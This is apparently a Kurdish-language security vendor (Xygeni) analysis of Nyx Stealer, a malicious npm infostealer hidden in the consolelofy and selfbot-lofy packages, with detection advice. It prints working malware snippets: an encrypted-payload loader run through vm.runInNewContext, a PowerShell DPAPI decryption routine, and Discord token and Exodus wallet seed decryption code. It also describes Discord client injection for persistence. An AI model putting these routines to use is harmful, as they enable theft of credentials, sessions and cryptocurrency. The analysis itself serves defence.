Dizîna Agahdariyê ya npm

Vedîtina nû ya npm Infostealer: Nyx ​​Stealer rûniştinên Discord dizîn

TL; DR

Tîma Lêkolînên Ewlehiyê ya Xygeni kampanyayeke dizîna agahdariyê ya npm ya sofîstîke destnîşan kir ku bi rêya du pakêtên xerabkar hate pêşkêş kirin: consolelofy û selfbot-lofy.

Guhertoya herî dawî (consolelofy@1.3.0) barkêşek AES-şîfrekirî ya 216KB bicîh dike ku di dema xebitandinê de şîfre dike û bi rêya wê tê bicîhanîn. vm.runInNewContext()Ji ber ku mantiqa xerabkar bi tevahî şîfrekirî ye, skanerên statîk ên ku xwe dispêrin vekolîna rêzikan nikarin tevgera wê heta dema bicîhanînê bişopînin.

Dema ku şîfrekirin, barkêş, bi navgîniya navxweyî Nyx Diz, hedef:

  • Nîşaneyên pejirandina Discord
  • Zêdetirî 50 firotgehên bawernameyên gerokê
  • Zêdetirî 90 dirêjkirinên berîka krîptopereyan
  • Danişînên Roblox, Instagram, Spotify, Steam, Telegram, û TikTok
  • Berdewamiya xerîdarê sermaseya Discord

Hemû 20 guhertoyên li ser her du pakêtan hatin ragihandin û wekî zirardar hatin piştrast kirin.

Pêşgotina Teknîkî ya Vê npm Infostealer

Berevajî malware-a kevneşopî ya dema sazkirinê, ev kampanya xwe dispêre a davêjin modela şîfrekirinê.

Heye:

  • Bê xerabkar preinstall or postinstall hooks
  • Bangên torê yên di dema sazkirinê de eşkere nînin
  • Mantîqa berhevkirina bawernameyên nivîsa sade tune ye

Dema ku modul tê hinartin, barkêş çalak dibe. Tevahiya laşê xerabkar şîfrekirî ye û tenê di dema xebitandinê de di bîrê de xuya dibe.

Ev sêwiran bi taybetî di dema sazkirina pakêtê de tespîtkirinê ji holê radike.

Ev npm Infostealer Bi Rastî Çawa Dixebite

Berî ku em analîz bikin ka Nyx Stealer çi didize, divê em fêm bikin çawa pêk tê.

Mantîqa xerabkar a di hundirê vê npm infostealer de qalibek domdar dişopîne:

Barkerek piçûk barkêşek mezin a şîfrekirî deşîfre dike û di çarçoveya Node.js VM de bi awayekî dînamîk pêk tîne.

Ev sêwirandin bi zanebûn e. Êrîşkar ne tenê fonksiyonên xwe li pişt veşartinê vedişêre, ew... rakirina koda xerabkar bi tevahî ji dîtina statîk.

Modela Darvekirinê ya Asta Bilind

Di asta bilind de, pêça pêçan çar tiştan dike:

  • Bi karanîna SHA-256, ji şîfreyeke kodkirî mifteyek AES derdixe.
  • Nivîsek şîfrekirî ya mezin a bi kodkirina heksadeşî bi karanîna AES-256-CBC şîfre dike.
  • JavaScript-a şîfrekirî bi karanîna vm.runInNewContext()
  • Qûmek peyda dike ku hîn jî prîmîtîvên dema xebitandinê yên bihêz eşkere dike.

Kurteya Teknîka Sereke

Perçe Mîhengkirin / Nirx
Algorithm AES-256-CBC
Derxistina Key SHA-256 (şîfre)
Vektora Destpêkirinê (IV) 16 bayt ji 0x00
Birêverbirî vm.runInNewContext(şîfrekirî, sandbox)

Bi girîngî, sandbox di nav re derbas dibe:

  • require
  • process
  • Buffer
  • timer
  • hinardekirina modulê

Ev tê vê wateyê ku barkêşa şîfrekirî kapasîteya xwe ya tevahî diparêze da ku:

  • Pêvajoyên afirandinê
  • Pelan bixwîne û binivîse
  • Bangên torê bikin
  • Guhertina sepanên herêmî

Ev ne VM-yeke bi sînor e. Ew VM-yeke ku wekî trampolîneke îdamê tê bikaranîn.

Şêweya Şîfrekirina Dema Xebitandinê (Mekanîzmaya Bicîhanîna Bingehîn)

Loader piçûk e.
Laşê xerabkar ne wisa ye.

Li jêr şêwaza darvekirinê ya di hundurê pakêtê de ye:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Çima Ev Girîng e

Barkêşiya şîfrekirî:

  • Gelo ne di nav pakêta npm de wekî nivîsa sade heye
  • Ji bo sade nayê dîtin grep an jî şopandina rêza statîk
  • Tenê di dema xebitandinê de di bîrê de çêdibe
  • Bi kapasîteyên tevahî yên Node runtime dixebite

Ev kombînasyona darvekirina AES + VM nîşaneyek tevgerî ya bihêz e. dizê agahdariya npm hewl dide ku ji vekolîna statîk bireve.

Bi gotinên din:

Eger hûn dara çavkaniya pakêtê bişopînin, hûn dizekî nabînin.
Tu deşîfrekerekê dibînî.

Piştî Şîfrekirinê Çi Dibe

Piştî ku hate bicîhanîn, Nyx Stealer pêlên berhevkirina daneyên paralel dide destpêkirin.

Pêla 1: Derxistina Bawernameya Gerokê

Malware:

  • Demjimêrek runtime ya Python ji NuGet CDN dakêşîne
  • Pirtûkxaneyên krîptografîk saz dike
  • Depoyên bawernameyê yên li ser bingeha Chromium derdixe
  • Nehêniyên ku ji hêla DPAPI ve têne parastin deşîfre dike

Li şûna berhevkirina girêdanên xwemalî, ew ji PowerShell-ê sûd werdigire da ku rasterast gazî Windows DPAPI bike.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Ev rêbaz:

  • Berhemanên berhevkirinê ji holê radike
  • API-yên krîpto yên xwemalî yên Windows-ê bi kar tîne
  • Têkel dibe bi amûrên rêveberiyê re

Ew şîfrekirina bawernameyên asta OS-ê ye, ne scraping.

Pêla 2: Şîfrekirina Nîşana Discordê

Dizker ji protokolê haydar e. Ew formata nîşana şîfrekirî ya Discord fêm dike.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Herikîna operasyonê:

  • Mifteya sereke ji Discordê derxînin Local State
  • Mifteya sereke bi rêya DPAPI deşîfre bike
  • Blobên nîşaneya AES-GCM deşîfre bikin
  • Tokenan li hember Discord API-yê piştrast bike
  • Bi Nitro, nîşanan, agahdariya fatûreyê dewlemend bikin

Ev ne avêtina bawernameyan a gelemperî ye. Ev revandina danişîna bi hişmendiya protokolê ye.

Pêla 3: Armanckirina Berîka Pereyên Krîpto

Dizê agahdariya npm wiha rêz dike:

  • Zêdetirî 90 dirêjkirinên berîka gerokê
  • 27 berîkên sermaseyê
  • Rêyên berîka sar
  • Pelên tovên Exodus

Nimûneya hewldana şîfrekirina tovê:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Eger serkeftî be, tavilê ketina berîkê tavilê û bêveger e.

Ev vektora monetîzasyona nirxa herî bilind a kampanyayê temsîl dike.

Berdewamî bi rêya Discord Desktop Injection

Piştî berhevkirina bawernameyan, Nyx Stealer bi guhertina herêmî hewl dide ku berdewamiyê bide Discord kirrîxwaz.

Armanc:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Rêza Operasyonê

Infostealer gavên jêrîn pêk tîne:

  • Pêvajoyên Discord-ê yên xebitandinê bi dawî dike
  • Guhertoyên Discord-ê yên sazkirî dibîne (Stable, Canary, PTB)
  • Zêde dinivîse discord_desktop_core/index.js
  • Mantîqa webhook-a ku ji hêla êrîşkar ve tê kontrol kirin derzî dike
  • Discordê ji nû ve dest pê dike

Ev piştrast dike ku danişînên Discord ên pêşerojê bixweber nîşanên pejirandina nû derdixin.

Ya girîng ew e ku ev berdewamî ne girêdayî karên bernamekirî an guhertinên qeydê ye. Ew guhertina koda asta serîlêdanê, ku rêbazek veşartî ye, bikar tîne.

Tewra ku pakêta npm ya xerabkar paşê were rakirin jî, xerîdarê Discord hîn jî xeternak dimîne.

Berawirdkirina Teknîkî: Selfbot-a Rewa li hember npm Infostealer

Perçe Pirtûkxaneya Rewa Dizê Agahdariyê yê Nyx npm
Şîfrekirin, Netû Barkêşiya tevahî ya şîfrekirî ya AES
VM-ya dema xebitandinê Ne hewce ye vm.runInNewContext birêverbirî
Gihîştina Bawernameyê Tenê API-ya Discord Gerok, berîka, DPAPI
Dakêşanên Derveyî Na Dema xebitandina Python bi rêya NuGet
Li sersekinî Na Derzîkirina xerîdarê Discord
Monetization Otomasyona botê Ji nû ve firotina bawernameyan

Tenê çîna şîfrekirinê vê kampanyayê ji forkek çavkaniya vekirî ya tîpîk vediqetîne.

Selfbotekî Discordê yê rewa ti sedemek tune ku tevahiya koda xwe şîfre bike, PowerShell bikar bîne da ku bigihîje DPAPI, demên xebitandinê yên derveyî dakêşîne, an jî navxweyîyên sepanên sermaseyê biguherîne. Dema ku ew şiyan di hundurê girêdayîbûnek de xuya dibin ku îdîa dike ku têkiliyên Discord otomatîk dike, nehevsengiya mîmarî ne gengaz e ku were paşguh kirin.

Ji aliyê lêkolînê ve, ev dizîna agahdariyê ya npm li ser gelek tebeqeyan şopan dihêle. Lêbelê, nîşaneyên herî pêbawer ne URL-yên kodkirî yên hişk an rêyên pelên taybetî ne, ji ber ku ew dikarin di navbera guhertoyan de biguherin. Di şûna wê de, sînyalên domdar avahî ne.

Di asta pakêtê de, ala sor a herî bihêz têkeliya barkêşek şîfrekirî ya mezin û pêça şîfrekirinê ya dema xebitandinê ye ku tavilê bi rêya wê tê bicîhanîn. vm.runInNewContext()Her çend şîfrekirin bi tena serê xwe bi xwezayî zirardar nebe jî, karanîna şîfrekirina AES û dûv re jî pêkanîna VM ya dînamîk di hundurê pakêtek amûrê Discord de pir anormal e.

Di asta mêvandar de, qalibên gumanbar çalakiya şîfrekirina DPAPI ya nediyar, derketina pêvajoyê ji çarçoveya girêdayîbûna Node.js, û guherandina pelên sepanên herêmî yên ku divê qet ji hêla pirtûkxaneyên partiya sêyemîn ve neyên guhertin vedihewîne. Bi heman awayî, di qata torê de, ragihandina bi şêwaza webhook a derketî ku ji hêla girêdayîbûna pêşkeftinê ve hatî destpêkirin anomaliyek din a watedar temsîl dike.

Bi gotineke din, rûyê tespîtkirinê nîşaneyeke yekane ya tahrîbatê nîne. Ew têkiliya şîfrekirinê, pêkanîna dema xebitandinê, gihîştina bawernameyê, û tevgera domdariyê ye ku tehdîdê eşkere dike.

Tesbîtkirin û Kêmkirina Tedbîran bi Xygeni re

Dizîna Agahdariyê ya npm

Ev dizê agahdariya npm ji hêla ve hate nas kirin Hişyariya Zû ya Malware ya Xygeni (MEW) bi rêya têkiliya tevgerî ya qatqatî li şûna hevahengiya îmzeyê ya sade.

Li şûna lêgerîna rêzikên zirardar ên naskirî, MEW anomalîyên avahîsaziyê li seranserê dara çavkaniyê ya tevahî dinirxîne. Di vê rewşê de, tespîtkirin ji hevgirtina çend sînyalan derket holê: rûtînek şîfrekirina AES-ê ya çandî di xala têketina modulê de, bicîhanîna tavilê di hundurê çarçoveyek VM-ê de, û nelihevhatinek eşkere ya şiyan-bi-niyetê.

Girîng e ku yek ji van îşaretan bi tena serê xwe niyeta xerab îspat nake. Lêbelê, dema ku bi hev re têne analîzkirin, ew hewldanek ji bo veşartina tevgera dema xebitandinê eşkere dikin. Ev rêbaza qatqatî bi girîngî pozîtîfên derewîn kêm dike dema ku gefên zincîra dabînkirinê ya bi pêbaweriya bilind destnîşan dike.

Herwiha, ev rewş nîşan dide çima tenê teftîşa dema sazkirinê têrê nake. Mantîqa xerabkar di skrîptên çerxa jiyanê de namîne. Ew tenê piştî barkirina modulê çalak dibe û tenê piştî şîfrekirinê di bîrê de xuya dibe. Ji ber vê yekê, parastina bi bandor analîzek hişyar a şîfrekirinê, naskirina şêwaza tevgerî, û çavdêriya domdar a girêdayîbûnê ji bûyerên sazkirinê wêdetir hewce dike.

Rakirina qeydê bertek nîşan dide. Analîza dema xebitandinê pêşîlêgirtinê ye.

Çima Ev npm Infostealer Girîng e

Nyx Stealer pêşveçûnek avahîsazî di malware-ya li ser bingeha npm-ê de temsîl dike.

Di dîrokê de, gelek pakêtên xerabkar xwe dispêrin skrîptên dema sazkirinê yên xuya an jî xalên dawî yên eşkere yên derxistina bawernameyan. Berevajî vê, ev kampanya barê xwe şîfre dike, pêkanînê ji bo dema xebitandinê paş dixe, API-yên pergala xebitandinê yên rewa bikar tîne, û di hundurê sepanên pêbawer de domdariyê ava dike.

Ji ber vê yekê, êrîşkar ne hewce ye ku binesaziya npm bi xwe bikar bîne. Di şûna wê de, êrîş bi ser dikeve ji ber ku sazkirina girêdayîbûnê baweriyê nîşan dide. Pêşdebir texmîn dikin ku îtxalkirina pirtûkxaneyek operasyonek ewledar e, nemaze dema ku ew xwe wekî forkek maqûl a amûrek populer pêşkêş dike.

Her ku ekosîstem mezin dibin û fork zêde dibin, ew sînorê baweriya nepenî dibe rûberek êrîşê ya her ku diçe balkêştir. Ji ber vê yekê, parastina li dijî dizên agahdariyê yên npm yên nûjen hewce dike ku şêwazên mîmarî nas bikin ne ku li rêzikên statîk bigerin.

Di dawiyê de, ev kampanya dersek girîng di derbarê software supply chain security: gefên herî xeternak ne ew in ku di nihêrîna pêşîn de xerabkar xuya dikin, lê ew in ku ji hêla avahîsaziyê ve rewa xuya dikin heya ku dema xebitandinê tevgera wan a rastîn eşkere bike.

amûrên-nermalava-berhevkirinê-ya-sca-amûran
Rîskên nermalava xwe bidin pêşanî, sererast bikin û ewle bikin
Hesabê xwe yê Belaş bistînin.
Qerta krediyê ne hewce ye.

Pêşvebirin û Radestkirina Nermalava Xwe Ewle Bike

bi Xygeni Product Suite re